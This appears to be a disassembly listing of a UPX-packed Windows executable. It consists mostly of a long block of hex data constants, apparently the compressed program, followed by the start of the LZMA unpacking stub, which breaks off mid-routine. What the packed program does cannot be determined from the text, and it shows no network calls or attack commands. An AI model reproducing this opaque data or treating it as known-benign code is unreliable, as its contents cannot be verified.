dd 0CEE7344Eh, 7C6E359Bh, 2C038DE1h, 120CFAB3h, 0D2ABB18Eh
dd 0AAAADB3Ch, 0FC888C3Eh, 0DCBF32ECh, 6724568Ch, 0B963A3FAh
dd 0BAC582B7h, 0C711B445h, 2B4C6D45h, 5CA69811h, 219A8F28h
dd 92C5F6F5h, 0D2B74A51h, 17E49651h, 973D53ABh, 0E07C76F5h
dd 62819BFDh, 382C3259h, 3AA1ED66h, 5D822E23h, 1F6F1A8Ch
dd 1033132Eh, 9F5F83F0h, 0EBBA626Ah, 325EB15h, 8200C21Fh
dd 49BA2353h, 5A14C32Dh, 0BDE72A80h, 0E21D69BAh, 7CD84C9Ah
dd 0B5E3BB2Eh, 78132817h, 769B17BFh, 7C8A350Bh, 918489B2h
dd 0B1BA29B4h, 610D354Ah, 8D6D8F48h, 964ABD1Ch, 6BD6F20Ch
dd 0ECBA86B2h, 340AA69Bh, 0F7E136EFh, 62CF20DAh, 0C8B698FAh
dd 7D061619h, 0A8B09EF3h, 26E811D8h, 0C516608Dh, 98462F92h
dd 0C6519014h, 0A83496BAh, 2E862C22h, 0C151366Bh, 1116A6A7h
dd 139C961Eh, 52599326h, 0B83C1168h, 9A34D526h, 1BCAB35h
dd 208367F9h, 0A0DACE17h, 4F4C084Ch, 265FAABAh, 44210B6Eh
dd 0D227C662h, 60E7357Eh, 0D27254D5h, 54AB3D80h, 0E8302E34h
dd 39ADFDC8h, 34655597h, 7AB69A31h, 0C70E8BB6h, 7066A118h
dd 2F4E4BA5h, 0D7AC29B5h, 2DBC205Fh, 7B4AEDBEh, 3025BBD8h
dd 0F780EDA7h, 0FBEEEB70h, 0E42D69EFh, 6092F8AAh, 0BA33C19h
dd 9C4F61D5h, 0E753145Dh, 0C3E90138h, 422939EFh, 73312F97h
dd 0B53FB2E0h, 6924F3BEh, 0C3698C6h, 0D2841359h, 0E9560C69h
dd 0D1C84750h, 0AE7E8239h, 1D633B16h, 0ECFDACEBh, 935E6ECh
dd 0D6080FBFh, 63D17A84h, 0EC09C2Dh, 5DE8716Ch, 0B173B233h
dd 0F3831950h, 29E7E5E7h, 0E9C26CE5h, 0D3CEC9D5h, 0BCEB1EC4h
dd 0B3C65FEEh, 9F66C820h, 29A63797h, 250BB916h, 95A6AA4Fh
dd 268E2B94h, 0E682C342h, 7B7892D8h, 0A6B7355h, 11D0F27Dh
dd 0DFC3554Ah, 0C7AF9F00h, 17E7D7F3h, 76BE1718h, 7CC051CEh
dd 1AF03A29h, 57771813h, 0FE69A01Ch, 0AAEAF122h, 0B79361F7h
dd 0F86E30BCh, 9B32097Bh, 9E820FF6h, 0BC3E320h, 0C40D959Dh
dd 41BD0FC2h, 76A9BCD3h, 1138A69Dh, 95DDB93Fh, 932D5FDCh
dd 5808E262h, 18A2782Ch, 170B1E35h, 8CE93F9Ah, 64546DFBh
dd 3EEDB691h, 0E2E29963h, 0C7BD09Dh, 12A454A9h, 0BFF725D3h
dd 8C515B19h, 6EEF2F35h, 67BF2A15h, 0E18CC11Bh, 0CC942B59h
dd 0FADE1294h, 0F79F9E37h, 742FB375h, 7173FE30h, 7705D0A7h
dd 91A19CCEh, 55D3532Fh, 3F33B514h, 8F605476h, 3F9F1FEAh
dd 5ED5923Eh, 0E8271CD6h, 0AE8D029Eh, 9D3FC156h, 9E395ADh
dd 0E7424947h, 0FB933CCBh, 42666D01h, 0E49A05C7h, 0B498143Ah
dd 0CC0548E6h, 0D2D15B9h, 3736867Ah, 9B741725h, 0F8BF868Dh
dd 7BC1000Ch, 0C6E13344h, 5754534Bh, 3C3A1A77h, 0BC11913Bh
dd 42703FAh, 6F34D3EFh, 3A9BEE2Ah, 6236D4F2h, 0F72C362Dh
dd 35B2C49Bh, 4F964AB5h, 3BB31B0Eh, 8D3AC331h, 49D94375h
dd 0C6426FBDh, 0B3EF082h, 99C7CE65h, 1C59C000h, 8008F82h
dd 50E70035h, 0DC3DD07Fh, 0AC5A3C12h, 1E73D914h, 627C631Eh
dd 0A3EBB6CDh, 4EFF7B31h, 0DBFEF24Ah, 0A102E620h, 0AE588D3Eh
dd 2B9826CCh, 0DFFBCF25h, 0C049DCC6h, 23BB25CAh, 0E998C2CCh
dd 0E353B243h, 9BD37024h, 7190CE9h, 3821F893h, 0D19754E3h
dd 49BE1Ch, 0D14C79Bh, 592B5E6Dh, 31FC79CCh, 3D57F971h
dd 0DD09D614h, 74EEC399h, 862DDB0h, 9A852DEDh, 64E88DAAh
dd 0A29D3C29h, 32E54EB6h, 49407B95h, 0E4548460h, 0DB6F5A8Fh
dd 863BB5D7h, 90232F73h, 35E33E55h, 5F7FB5F9h, 0A4286669h
dd 0DD83B00Ah, 76EF465Ah, 48ACB291h, 86068C54h, 8CDE8FA2h
dd 7C4C8281h, 0E85451Bh, 4C399F74h, 0C14F84B4h, 96DE54E0h
dd 6AFDBA01h, 75F50FBh, 0EC2E2906h, 3306105Fh, 4CBB8F79h
dd 0DE600908h, 7990FE97h, 0E720FFA8h, 5CF7BA63h, 1311409h
dd 51683D2Ah, 4684A984h, 3F04FC16h, 20CFB8B1h, 0E3A5C5Ah
dd 4F8E26E9h, 0DDBD74D8h, 0C34DACE3h, 94D4BCFDh, 0BEB2EEFFh
dd 8F307035h, 0E9FD22F2h, 0F6CEAE0Dh, 0E2765EB0h, 0EE21113Bh
dd 5041614Bh, 1792088Ch, 0F87B1ADDh, 0D7EA9BD2h, 86E47D05h
dd 0AAB4BA5Ch, 0B89A71F2h, 0F1090EE9h, 0D0952318h, 0EC4FA2BAh
dd 0AB40FC39h, 4281F170h, 177AFA56h, 4DE13C52h, 8627AAC2h
dd 84AEB439h, 0DECD6608h, 7C463690h, 793EB6F8h, 1F80A669h
dd 0A9AC1CBDh, 6C172E6h, 0C961B523h, 2F78F49h, 8FD7275Ch
dd 381BFB00h, 0CF9FDA7Bh, 48342452h, 67786AC1h, 0A647BD4Fh
dd 5B1E4BA5h, 0FF5FCAB6h, 0C4FA75B3h, 4EE1AC49h, 0A5211C31h
dd 51134895h, 7D10A8E3h, 0B1BE765Fh, 5935E54Ah, 5BDCB2A2h
dd 0C13AB896h, 2ADA432Fh, 4FCCD342h, 8BA1C068h, 0B3E8F010h
dd 2CE1807Dh, 0B3FBC386h, 0CF4C059h, 46B84AC7h, 46722B5Ch
dd 93D33990h, 77B35EBAh, 86B85A44h, 0DC3B052Dh, 0EED42D80h
dd 924189E0h, 4B329F31h, 0A87516C8h, 3840B53Ch, 72510A30h
dd 579678FFh, 908FDD8Ch, 0E16C80E6h, 13597799h, 38507A93h
dd 0CB7FC8FEh, 0D3FE2722h, 0B26F3EADh, 2D1E1991h, 0C8054806h
dd 0FBFE8672h, 0F8F6E5DAh, 1BCBD521h, 7BAB1317h, 5F63A85Ah
dd 6DE860B2h, 4227806Fh, 0FCFEDBB4h, 0C96C2B76h, 97CFB90Eh
dd 1080938Eh, 0FD0FB9D6h, 546CDCC3h, 2F91FC40h, 61ACBE0Ch
dd 591638A9h, 0F896EFA0h, 0ABB311FAh, 0A2EE5000h, 0C7ABF3D8h
dd 0C34CDEA7h, 0ABAAC086h, 92AD96C7h, 2353D930h, 9ACB896Ch
dd 0F7682C10h, 0A3FF0EBh, 0DB0A5CA8h, 0D526F5F6h, 2D02E71Eh
dd 0DC2749C2h, 0CC5A2137h, 407954DAh, 9E82B231h, 0C114007Ah
dd 3B00327Ch, 0AA67A46Eh, 0F358E11Fh, 1CF6ABB2h, 0B5CF10EEh
dd 0B72DA8A4h, 364BEFEAh, 0C60327D6h, 467851DCh, 9A1BD1D8h
dd 0AC424C8Bh, 0AE49282Bh, 5ADF40DAh, 0DCC3EB5Eh, 16F60F45h
dd 8805F68Ch, 2275BDAFh, 0DE75848h, 0C2A6DBEEh, 5549460Dh
dd 9C82112Ah, 5BFD01B1h, 31F41FF5h, 5EE73017h, 0BDD717EAh
dd 3C1E13F0h, 0D7153794h, 0D98EED88h, 69163BDh, 0CDFE1813h
dd 0F4AE8B57h, 8DFA9A7Dh, 91F5DC65h, 75EA863Fh, 83C59FCAh
dd 9C0BF902h, 16568E61h, 0A01F35F1h, 0E609CA72h, 6222D2FAh
dd 0DCD61E85h, 12CD72DDh, 0CA4D99EFh, 0CE0D5822h, 0DD5838EDh
dd 118A1A03h, 16B3DCC4h, 8FFD3299h, 52A106E2h, 2497C27Dh
dd 0DB811ECFh, 0B8648BE6h, 55C26F74h, 0EDB0722h, 0CEB18F51h
dd 0DDB6973h, 65BB4FFDh, 1ED19EC2h, 7BABE7A5h, 2F205706h
dd 15C00C43h, 209C5693h, 0F160E5EDh, 187CCB93h, 0DB269AC5h
dd 0BD3491F0h, 73798097h, 567CB56Ch, 57AC2ED7h, 46B805D3h
dd 1140702Fh, 8BA03703h, 235F9539h, 0EFD7F7A5h, 0E89059BDh
dd 0C4209F1Dh, 464DA428h, 0E7AEF364h, 0FEBD7440h, 0B8CF468Ch
dd 0DE2498DBh, 9E64E4E8h, 0E2B43D3h, 78DE007Ch, 613D57C2h
dd 0CFE48C4Ah, 551A9C33h, 139A08B8h, 2F078326h, 0C2DF7B18h
dd 0C081C12Ch, 0A1FC274Bh, 82033684h, 5A4EB5B8h, 0BD00A6Fh
dd 8E470C66h, 0FB1CE8D5h
dd 918BFBCDh, 0E79AD170h, 13D5FB66h, 7719083Ah, 583D2F2Bh
dd 2706F802h, 60FA80B0h, 0A34215EFh, 8ED681Fh, 0CD490ADBh
dd 14CD4F1Dh, 4044E9FCh, 7B684ED4h, 25D74805h, 5757B19Eh
dd 0A2DF7583h, 0DE736A20h, 0AFDF66F3h, 13648DDh, 36FD6296h
dd 0FCC75728h, 3418CD7Eh, 8498819Fh, 6903E191h, 0C609BB84h
dd 3ABCC26Fh, 0B1B0FACFh, 77A397AFh, 1918D15Bh, 1B748C13h
dd 0A6044A05h, 0F50BA3B1h, 76E5699Ah, 7C2E910Bh, 0FEE27870h
dd 0D34132BFh, 82E59EE9h, 71723CB9h, 4ADC2088h, 0A3268FACh
dd 0CD4ECF18h, 86FEDDFBh, 557F5A1Bh, 416FE6DAh, 52D2D054h
dd 0E4120EBFh, 3AD7CE38h, 0A1288CDCh, 56F9A5B8h, 7632397Ch
dd 249FFEF7h, 2A16242Eh, 26770E59h, 0D50C05EFh, 9B603BC9h
dd 0DF61DE31h, 0F5FE75E2h, 0E1E2A6E9h, 25127139h, 25F72015h
dd 58E3B1CBh, 5718CBAEh, 0CF048EBAh, 0BA27B750h, 0C0302D87h
dd 26EAF1BDh, 0E3000C1Bh, 7370E6E5h, 88026640h, 20E6352Eh
dd 0C47F4AF2h, 6EDAB4C3h, 1693989h, 3DF90DD4h, 50C81A77h
dd 0C0432E2Ch, 0B91B944Fh, 83143D9Ah, 0AA5A479Bh, 9012C76Ah
dd 9046E08Ah, 4FFBB626h, 0B7DA54CEh, 0EBFA2324h, 0EEE466AFh
dd 0C394943Fh, 0FA694889h, 622BCAFCh, 5CE25B19h, 4E1740B8h
dd 0A59E2F7Ah, 3A25A86Dh, 479189FDh, 0B60462EAh, 48C9C40Fh
dd 41D258DEh, 80F73E2Eh, 4CB9A630h, 8A9536C4h, 9D9A7150h
dd 2D6B8636h, 0EAA9979Ah, 1E04C57Dh, 0B545F532h, 0FA1BBA7Ch
dd 0BBE7428Fh, 8B00045Bh, 4D347550h, 9627EC45h, 39594CA4h
dd 34E78A97h, 13AFD9C4h, 5FF44BB4h, 55CC96F7h, 580C86D6h
dd 4F97717Ah, 67F5372Dh, 81FC64D1h, 26F3CE53h, 0DFA4D92Ch
dd 57D36ED6h, 0ADBC5D42h, 296D3EFEh, 75B652F1h, 629E5054h
dd 6C7D96DAh, 6C8C3474h, 0DD16DB85h, 86CE5AE2h, 417F02B0h
dd 9272A8CBh, 589DF51h, 0AB738B75h, 0F0CE93ADh, 7393453Ah
dd 80E5D81Bh, 419977DBh, 0AAA084E0h, 0CC341F45h, 884DBB3Bh
dd 0A3F44C7Bh, 0F9389C4Fh, 22002FDCh, 0BFC4A845h, 5AF6A52Ah
dd 3C88EF3h, 169F9C46h, 9517170Bh, 7FDCBCBDh, 699F41B7h
dd 0D3323CDEh, 0AAB5E0B7h, 1C49EB4Ah, 0F0826FDh, 0A5E7E3B2h
dd 0C027068Eh, 0C09DCC00h, 47C73FB1h, 0C1B94268h, 0FC974CB1h
dd 6AF7200Fh, 49CAFFB0h, 0B47C8BB1h, 78ED756h, 33352C38h
dd 34C2D15Bh, 879928E9h, 0B2F8A91Eh, 0C80AD7BAh, 0BCD52ADBh
dd 2C76144Ch, 0B9DC3564h, 0D1B913Fh, 7DD7541Ah, 57FC8387h
dd 931E4F37h, 28F41131h, 3C38832Ch, 0DF1BAA5Eh, 44E73DFh
dd 6AAA78E9h, 7F25BB62h, 4A8C8708h, 2AACECD6h, 0E8769AD2h
dd 0F2F6D02Eh, 1C175B90h, 0B5A48F88h, 561ABB2h, 4883C2Bh
dd 0F82BE640h, 0B3A6800Ch, 364D64C0h, 0FF0E581Fh, 0D0B081C2h
dd 0BB0FBDECh, 92905D8Ah, 0AC0B118Dh, 5836C88Ah, 0DF100FD0h
dd 0D4A66A63h, 31569261h, 0E501B538h, 74F7822Dh, 795BC4ACh
dd 0A1F8E0AAh, 8DF03C38h, 70470C2Eh, 0D55C0C75h, 332BF0Ah
dd 0E9009BF5h, 164B7B77h, 0B534EF91h, 75681A3Fh, 5BAFAE45h
dd 8EFBBE06h, 0A74360Ch, 1C02D018h, 0FCEADC68h, 26F11EB4h
dd 0CCBF0F6h, 0FD9B90F5h, 6E1928ECh, 71128122h, 0D2B665EBh
dd 6EAA8FE9h, 0BEF108BAh, 0A6C10796h, 0A60C409Dh, 31E52C6Ch
dd 0D9BB8953h, 66928E73h, 0BE95672Eh, 0C25662AFh, 2B2B85EFh
dd 8601828Ch, 151ED74Ah, 756A8CA3h, 4BEA89E7h, 8E9C7928h
dd 0D755A361h, 0D51F41C0h, 0EEE8009Fh, 0C2DAA734h, 453442Ch
dd 413BA29Dh, 7DF02776h, 0B221A923h, 48D6DEF3h, 2385241Eh
dd 3A2800CFh, 3BEF7035h, 6A65A687h, 6E9008B2h, 76D88EAAh
dd 8DA25D7Ch, 776DF2C1h, 140D5F37h, 7AC26CF3h, 0D06D798Dh
dd 7CF8ED2Ch, 7B9DBA67h, 0C89A647h, 22849A8Bh, 0C0DC4FAAh
dd 2E518917h, 888A9092h, 0F198868Eh, 3FEBCAB6h, 5DB139A8h
dd 7A6702BAh, 9C95462Eh, 0D7781A94h, 0B601585Dh, 0E8CF22F2h
dd 70889074h, 0E5CFFE62h, 0D3F45C03h, 0E7667CB8h, 9B2CAE9Dh
dd 45E4816Ch, 0FAABC021h, 5FED12FFh, 0AAEEE9F0h, 26D4245Fh
dd 0D0997140h, 0C3651850h, 424B91C6h, 0D8EFBCAEh, 0AA56C8C3h
dd 503CD1E4h, 0AF3DC30Ah, 0A32DB016h, 4263E3C3h, 6D2B0F1Dh
dd 0A60D9BB4h, 52A5C445h, 9206FA35h, 9601A6EDh, 87A1A45Ah
dd 81DFBC84h, 0A93F1678h, 0C66CFD95h, 0D7CD893Ch, 1464F1F2h
dd 240983B4h, 3DE51A7Dh, 187D264Eh, 915A01D7h, 0E9441114h
dd 0A6D9732h, 7ADF4A0Bh, 0C730E203h, 23F8201Dh, 9F99FF8Fh
dd 8EFA6BCFh, 858E42CAh, 9C742450h, 4B1AD791h, 701CA3A4h
dd 0A1F347B4h, 0D162583Dh, 0F7016A2Ah, 330AA7F4h, 8575D68Ah
dd 94CDF35Bh, 0D44EB6EFh, 2C00716Fh, 0AD7041B7h, 972DC7C2h
dd 900661DCh, 65C97A38h, 0A56E2956h, 4A9C44F7h, 214A8470h
dd 62D4E26h, 66634F89h, 92D7CA4Fh, 0BF7C18B9h, 0F2C0E4F9h
dd 0B600824Dh, 2A9F42DDh, 8DF62AC9h, 0EB35DC07h, 0DDAC42C2h
dd 8FD2D5D2h, 79F4559Ch, 50EE3A66h, 0B7907B65h, 8C252ADh
dd 8D12D5D3h, 577E7240h, 0E72AFD20h, 0A0470DDAh, 5D9681F9h
dd 69FD0FC7h, 0A3957C15h, 0AD9E78B9h, 115C8AFBh, 0FE8DBB43h
dd 0EC0AE769h, 0E262A964h, 0D02F7A5Fh, 0E91394DDh, 251DF9F0h
dd 1FF54E68h, 165D6EB2h, 0E8F32AEEh, 0B89FDADFh, 9B79BE07h
dd 0FEE39792h, 8A5B4E2Ah, 0F8FC247Ah, 0CEF2CE0Ah, 0BE5CF392h
dd 0C3B43F99h, 0C840A244h, 0D6233467h, 8C8B256h, 0AA4E1E0Ch
dd 94AE25BDh, 6821434Ah, 349591C3h, 0FE39EB4Bh, 18D73138h
dd 779631C5h, 0EC02740Eh, 4ECBD9FDh, 256FA6C9h, 0E9DCFBC9h
dd 3FA4D15Eh, 905F3335h, 1176319Ah, 7EB47AD9h, 1FBCB49Dh
dd 38F5140Dh, 0B4ADE4F6h, 0B9B43D2Ah, 830402B9h, 51F576FFh
dd 0BB1726EFh, 0FEF11209h, 0E3E63F83h, 237B9FB9h, 240A0079h
dd 0EF5ECAEDh, 93D67F3Dh, 83A205AAh, 60DB16BFh, 0F61C4DC6h
dd 20BE901Bh, 9CA0620Eh, 3679F859h, 0D7FE7571h, 5E676A1Dh
dd 2631F9C4h, 0F52D533Fh, 1902AEC7h, 0F71CF8EBh, 0BE856D94h
dd 3C9B0929h, 1C1648BBh, 0AF1CBDF2h, 0FF0DE045h, 0C747A647h
dd 232326DAh, 2FC66ADAh, 7196E1D0h, 0A2B43D5Eh, 522BB865h
dd 6F5278D5h, 0FDBB58A7h, 2A964560h, 4521573Bh, 0C6FA3F1Ah
dd 0A10530B6h, 4BD65FC7h, 6E2DD552h, 0E336F946h, 640A86E3h
dd 0B39D6D56h, 0DE29962Ch, 0A0C5D06Eh, 8BC4A473h, 5BA6769Ch
dd 79DA266h, 7B1F1F16h, 56A4D651h, 0AF3CE594h, 0A650B7B7h
dd 0CFFD54Dh, 15A74035h, 25E28F92h, 0C24EF921h, 3416D8Dh
dd 3A84D40Dh, 9E7D331Eh, 755E645Bh, 39C17A9Bh, 6A092D09h
dd 0D17E130Eh, 1E3CECB6h, 0B1966A72h, 23658565h, 36358509h
dd 638C399Ch, 4F532695h, 0BF4676Ch, 0BE69678Dh, 61F2AD27h
dd 3BF2D30Dh, 0D283FF18h, 0C678BD9Ch, 21ED28AFh, 6FA03651h
dd 0F03A76B1h, 0E9A5FB9Bh, 828360A8h, 0FF5C196Dh, 0B66FE535h
dd 0EDF7CC5Eh, 990FE045h, 0CA16D152h, 70DD4241h, 0A234A39Ah
dd 0B511DAB6h, 0A427F1EEh, 6398A2AAh, 760140DEh, 0E3BA48C7h
dd 6F0403EDh, 16D39ED0h, 8BE36087h, 9434FB36h, 7863F52Eh
dd 57AA3F34h, 0A0F239A6h, 0F4DDBB85h, 3BBFD30h, 9AF69AD5h
dd 595D0A73h, 1AD8C96Ch, 33D3A716h, 2774D978h, 0A290E6A0h
dd 51245435h, 0B20D733Ch, 717998BAh, 69FB2033h, 0CADC83FAh
dd 69788C8h, 204849D9h
dd 0CD2E3744h, 6A7244CCh, 6CA1B3F0h, 0D55134ACh, 4220139Bh
dd 893DB5C1h, 0A7E2B99Fh, 4D96DCCEh, 0F9AC349Fh, 7E87BB4Fh
dd 14E0E04Ah, 7BBDC910h, 7A9467C3h, 0D72B9A04h, 24170110h
dd 5AF42D1Ch, 0ED1BD028h, 29837302h, 3B9D4CB3h, 43314863h
dd 0D1E57C11h, 0A008974h, 0BF9335A1h, 0D55CAA8Dh, 0AB3285F2h
dd 0D0FD55B2h, 8623D58Fh, 96024362h, 0B26CB477h, 0E431956Ch
dd 1C4711B6h, 0E070A541h, 42BBE3C3h, 805D2FA6h, 0EDABDE5Ah
dd 7665D041h, 0A82A0113h, 0EDF77A94h, 9033D7AEh, 7ABD6748h
dd 0AD6D062Eh, 0F1388A70h, 31E2AA25h, 9AA82C6Ch, 0DD069E1Ch
dd 43A04FEEh, 2B58AC9Bh, 7AFE6B69h, 0C3E77F0Ah, 48A80524h
dd 0CD2FBE6Bh, 67E93835h, 47C185C0h, 0FB2B3090h, 726B683Eh
dd 8FAA20FEh, 0A45FCBA4h, 0EA0D2AC7h, 4122DFE7h, 0E4CB6F6Dh
dd 2E43877Fh, 861023BEh, 580C112h, 1B73EE43h, 18C8D014h
dd 6D604DCCh, 0DFCBC4F2h, 9821E14Ch, 0A007FD86h, 2F638125h
dd 0A0206805h, 8C556267h, 0B1E0A495h, 0EE537D33h, 3CAF78B4h
dd 9B0A2B5Dh, 0F270B3B6h, 0D46D7DD6h, 96417D4Eh, 31CA758h
dd 0A7851C68h, 96AD3137h, 6E7AD67Ch, 7FBDABFh, 2B392A08h
dd 64172415h, 0CF36C9E8h, 749129B2h, 33C55D1Fh, 6696B686h
dd 0C4AE3DB8h, 4EBAB837h, 0C3156B74h, 8CC6D95Dh, 0C14E7700h
dd 6A614AE5h, 5CF6E558h, 9E75660Fh, 9852D9B0h, 0D3404F4h
dd 236EB262h, 5F2DF985h, 971C14C2h, 8B5427D8h, 0DAA4E8Bh
dd 5C07A8FAh, 0D0D4844Dh, 8C90F5A9h, 0E24F3A37h, 66FEEA03h
dd 5FB12A2Dh, 0FA895351h, 0B45CC51Dh, 0A18D959Dh, 186E1CB5h
dd 0E7ADDD81h, 0E5D5839Fh, 0FB94BA98h, 643120E2h, 0F7850DA1h
dd 70583CEEh, 94BC348Bh, 0A1512660h, 0F6B9A73Eh, 0D29F44FDh
dd 7C89EAE5h, 821DD3B0h, 0CCF12F2Ah, 0C43A1DDCh, 5F9BAB95h
dd 398A23A3h, 8DC5BEAFh, 5FCFE2B3h, 95807885h, 3744999Ah
dd 1F359F4Dh, 271CC09h, 2C55414Ch, 66234228h, 0F5628DCCh
dd 39E95F9Fh, 779CA2h, 26930DE3h, 741C2805h, 9B2713Bh
dd 82C1B5B0h, 31DC8099h, 31D6EBD7h, 0B8F7A3E2h, 0ECF04FA4h
dd 0E3229747h, 43AFF2Bh, 71904138h, 0E544256Bh, 9C79D605h
dd 86281B30h, 0A7AFB38Fh, 0D362DAB9h, 566B21B3h, 0D652C57Dh
dd 77EC5C3Fh, 2C044F29h, 0BB3C3B17h, 0EDCCCC71h, 47BA9140h
dd 0E1E7B15Dh, 34FCA603h, 44AC5A35h, 0F8A14828h, 8BFFE891h
dd 3B9CB4FDh, 0EEEB057Bh, 61DB6524h, 0D3421B9Ch, 0BCDE37A0h
dd 0E9D231EFh, 7DEFD2BDh, 4FC767ADh, 3A61B3CFh, 85E3DAF2h
dd 54251FE0h, 0FC185B3Fh, 0BB06F3E0h, 3E7D90D7h, 3F90F346h
dd 232B408Ch, 580945E3h, 4E100EC8h, 8368C23Fh, 663F1367h
dd 5A47D558h, 5C356D0Ah, 61E7A03Ch, 80FEED01h, 17C2C44Dh
dd 5218E8EBh, 0C93C6979h, 2E2D713Bh, 0D3E29908h, 0A9E05388h
dd 0ED235693h, 6B9E0A57h, 0DB14939Dh, 0AA3C94Ch, 0AD96F00Eh
dd 8D7C4680h, 0C599FC19h, 0D7EA0B56h, 997C5B10h, 3534D5FAh
dd 3DCB9896h, 4AAD713Ah, 826DAED9h, 0C6CF12F5h, 0DF9BD779h
dd 371BA59Dh, 0A2BFCED9h, 0D7DF5A9h, 0A882D4B5h, 751F42D2h
dd 0E6518441h, 45A69FCDh, 0A9AD7261h, 30FD0C2h, 330D2204h
dd 85A90AF9h, 0B53BC9D8h, 0D32817F9h, 0E9E6CB79h, 6571E5ABh
dd 10349FEEh, 1AABA8D2h, 3079BA9Ch, 0D8523928h, 3C9617B1h
dd 0F545B0FCh, 0FBD0F2E9h, 0EE3401EEh, 0A71BD330h, 29D2963Fh
dd 63522F77h, 6EB0B84Dh, 2EE81AD5h, 0BAF5900Fh, 7A0FAB1h
dd 0C9D1DB34h, 0D91CB2Ah, 94463F1Eh, 56EAE7E9h, 3FC1AE8Fh
dd 0F42B74D2h, 6B3C835h, 0C898059Fh, 5733A225h, 0E5F7691Ch
dd 9FEB6E79h, 77CCD9B3h, 0CF70F380h, 79A820F4h, 90606417h
dd 87D314FBh, 0A1DB3F83h, 781144BDh, 0D0F9BCE5h, 0D02E5CD8h
dd 0BD04569Fh, 0EF6DFE40h, 405FCAC4h, 0EF19C38Ah, 53C3B387h
dd 269B87DCh, 7E7B1F77h, 0F3E5D312h, 1BB05996h, 0F6DF7250h
dd 33A946ABh, 3382DECh, 0C35D0354h, 0EFBD9FE2h, 0D24F2593h
dd 3CAFB647h, 9547E31Ah, 35E79A7Ah, 963016A2h, 60D9C44Ch
dd 19F35B3Eh, 7F7FD6CCh, 9FBA8219h, 0F23D74E9h, 0F3D5EDA8h
dd 1F41E047h, 7225E22Ah, 0F4356693h, 0E2F6B91Bh, 3E80563Dh
dd 930348E5h, 7244903Ah, 0C1779FB0h, 0AD134064h, 0C670FFBBh
dd 0C50B9740h, 0DABDD15Ah, 0DC9FE10Ch, 1D02703h, 104568A8h
dd 350FA9A9h, 0DF65383Eh, 4D50EFBEh, 42B41D54h, 78F35B37h
dd 93D909B0h, 0A8B8C38Ah, 0AD3DC0CBh, 704C8E1h, 0B3A4710Bh
dd 4BF14AC6h, 2DB87BB2h, 0E6BCC29Ah, 970FAE8Fh, 0D5E66B7h
dd 88A70FEDh, 3F34639Ch, 7EE182C6h, 788B6DC1h, 0F66CBEA1h
dd 2DBD999Dh, 79B88D4Ch, 0C82031FEh, 35D86B54h, 66577E68h
dd 4B579F83h, 33118264h, 0BDE16185h, 90524C5Ch, 3F4E4CDBh
dd 0A50031FDh, 45ACB4Bh, 4A6FB71Fh, 83FE988Bh, 8CFFA45Bh
dd 0F36A4B94h, 8F5D7E0Fh, 6D794F4Fh, 3C5D68EDh, 0C651FFBEh
dd 0CB70434h, 395C5B04h, 0D72619B3h, 14CB3DAAh, 0DCF5AACEh
dd 982D4E41h, 0B8F8C367h, 786BA883h, 39016E13h, 65901E56h
dd 4EF47112h, 0E3B76BC5h, 0A5121861h, 5DEA97D9h, 0CBFA7CECh
dd 0BF5DCE74h, 4BFDBBEDh, 378E11A8h, 74B3C339h, 84EE4F7Ch
dd 0CC2C0CB6h, 0C085116Bh, 9D5201h, 0DDB5C7E2h, 28B32A89h
dd 416492FFh, 698E8EE7h, 952B0CD9h, 63DF8817h, 315D0239h
dd 5E77A12Fh, 257A161Ah, 7F5D4775h, 0B40393D8h, 177D62BBh
dd 0C46A9F14h, 4DE6B746h, 0B1A7CE27h, 711B3DBCh, 9F904DFAh
dd 0CCC2131Ah, 0FA7E114Ah, 0B049h, 2 dup(0)
; ---------------------------------------------------------------------------
public start
start:
pusha
mov esi, offset dword_431000
lea edi, [esi-30000h]
push edi
mov ebp, esp
lea ebx, [esp-3E80h]
xor eax, eax
loc_46FE88: ; CODE XREF: UPX1:0046FE8Bj
push eax
cmp esp, ebx
jnz short loc_46FE88
inc esi
inc esi
push ebx
push 6D06Dh
push edi
add ebx, 4
push ebx
push 3EE65h
push esi
add ebx, 4
push ebx
push eax
mov dword ptr [ebx], 3
nop
nop
nop
nop
nop
push ebp
push edi
push esi
push ebx
sub esp, 7Ch
mov edx, [esp+90h]
mov dword ptr [esp+74h], 0
mov byte ptr [esp+73h], 0
mov ebp, [esp+9Ch]
lea eax, [edx+4]
mov [esp+78h], eax
mov eax, 1
movzx ecx, byte ptr [edx+2]
mov ebx, eax
shl ebx, cl
mov ecx, ebx
dec ecx
mov [esp+6Ch], ecx
movzx ecx, byte ptr [edx+1]
shl eax, cl
dec eax
mov [esp+68h], eax
mov eax, [esp+0A8h]
movzx esi, byte ptr [edx]
mov dword ptr [ebp+0], 0
mov dword ptr [esp+60h], 0
mov dword ptr [eax], 0
mov eax, 300h
mov [esp+64h], esi
mov dword ptr [esp+5Ch], 1
mov dword ptr [esp+58h], 1
mov dword ptr [esp+54h], 1
mov dword ptr [esp+50h], 1
movzx ecx, byte ptr [edx+1]
add ecx, esi
shl eax, cl
lea ecx, [eax+736h]
cmp [esp+74h], ecx
jnb short loc_46FF62
mov eax, [esp+78h]
loc_46FF58: ; CODE XREF: UPX1:0046FF60j
mov word ptr [eax], 400h
add eax, 2
loop loc_46FF58
loc_46FF62: ; CODE XREF: UPX1:0046FF52j
mov ebx, [esp+94h]
xor edi, edi
mov dword ptr [esp+48h], 0FFFFFFFFh
mov edx, ebx
add edx, [esp+98h]
mov [esp+4Ch], edx
xor edx, edx
loc_46FF82: ; CODE XREF: UPX1:0046FF99j
cmp ebx, [esp+4Ch]
jz loc_470908
movzx eax, byte ptr [ebx]
shl edi, 8
inc edx
inc ebx
or edi, eax
cmp edx, 4
jle short loc_46FF82
mov ecx, [esp+0A4h]
cmp [esp+74h], ecx
jnb loc_470910
loc_46FFAC: ; CODE XREF: UPX1:004708EBj
mov esi, [esp+74h]
and esi, [esp+6Ch]
mov eax, [esp+60h]
mov edx, [esp+78h]
shl eax, 4
mov [esp+44h], esi
add eax, esi
cmp dword ptr [esp+48h], 0FFFFFFh
lea ebp, [edx+eax*2]
ja short loc_46FFEA
cmp ebx, [esp+4Ch]
jz loc_470908
shl dword ptr [esp+48h], 8
movzx eax, byte ptr [ebx]
shl edi, 8
inc ebx
or edi, eax
loc_46FFEA: ; CODE XREF: UPX1:0046FFD0j
mov eax, [esp+48h]
mov dx, [ebp+0]
shr eax, 0Bh
movzx ecx, dx
imul eax, ecx
cmp edi, eax
jnb loc_4701E0
mov [esp+48h], eax
mov eax, 800h
sub eax, ecx
mov cl, [esp+64h]
sar eax, 5
mov esi, 1
lea eax, [edx+eax]
movzx edx, byte ptr [esp+73h]
mov [ebp+0], ax
mov eax, [esp+74h]
